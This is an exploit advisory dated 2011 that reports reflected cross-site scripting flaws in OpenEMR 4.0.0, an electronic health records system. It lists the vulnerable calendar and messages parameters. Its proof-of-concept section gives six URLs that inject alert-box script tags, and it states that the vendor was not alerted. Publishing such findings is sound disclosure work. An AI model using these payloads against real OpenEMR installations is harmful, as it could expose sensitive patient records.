OpenEMR version 4.0.0 suffers from multiple cross site scripting vulnerabilities.
2b47c11eff768b011349ab9a90156453a83572d89b0a712aff40cad494af8fdc
# Exploit Title: OpenEMR 4.0.0 Multiple Cross Site Scripting (XSS)
# Author: Houssam Sahli => backtronux<at>gmail<.>com
# Date : August 3rd 2011
# Product: OpenEMR 4.0.0
# Vulnerable Version: 4.0.0(with the 2nd patch 04/15/2011)
# Developer : OEMR
# Download & Installation instructions link : http://open-emr.org/download.shtml
# Vulnerability Type: Cross Site Scripting (XSS)
# Risk level: High
# Status: Not Fixed, Vendor Not Alerted
# Remark : notice that these vulnerabilities are not fixed with the 2nd patch of 04/15/2011
# Tested On : Windows XP SP3
Summary :
--------
OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC modular "Meaningful Use" certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms.
Vunerabilities :
---------------
User can execute arbitrary JavaScript code within the vulnerable application, vulnerabilities are detailed below :
1 - Request: http://localhost/openemr/interface/main/calendar/index.php
Source: Form (theform)
Method: POST
Parameter Name Parameter Type Severity
tplview GET High
pc_category GET High
pc_topic GET High
2 - Request: http://localhost/openemr/interface/main/calendar/index.php
Source: Reference of: a
Method: GET
Parameter Name Parameter Type Severity
tplview GET High
pc_category GET High
pc_topic GET High
3 - Request: http://localhost/openemr/interface/main/messages/messages.php
Source: Form (new_note)
Method: POST
Parameter Name Parameter Type Severity
sortby GET High
sortorder GET High
begin GET High
noteid POST High
4 - Request: http://localhost/openemr/interface/main/messages/messages.php
Source: Reference of: a
Method: GET
Parameter Name Parameter Type Severity
sortby GET High
sortorder GET High
PoC :
----
http://localhost/openemr/interface/main/calendar/index.php?tplview='<script>alert('XSS');</script>
http://localhost/openemr/interface/main/calendar/index.php?pc_category='<script>alert('XSS');</script>
http://localhost/openemr/interface/main/calendar/index.php?pc_topic='<script>alert('XSS');</script>
http://localhost/openemr/interface/main/messages/messages.php?sortby="<script>alert('XSS');</script>
http://localhost/openemr/interface/main/messages/messages.php?sortorder="<script>alert('XSS');</script>
http://localhost/openemr/interface/main/messages/messages.php?showall=no&sortby=users%2elname&sortorder=asc&begin=724286<">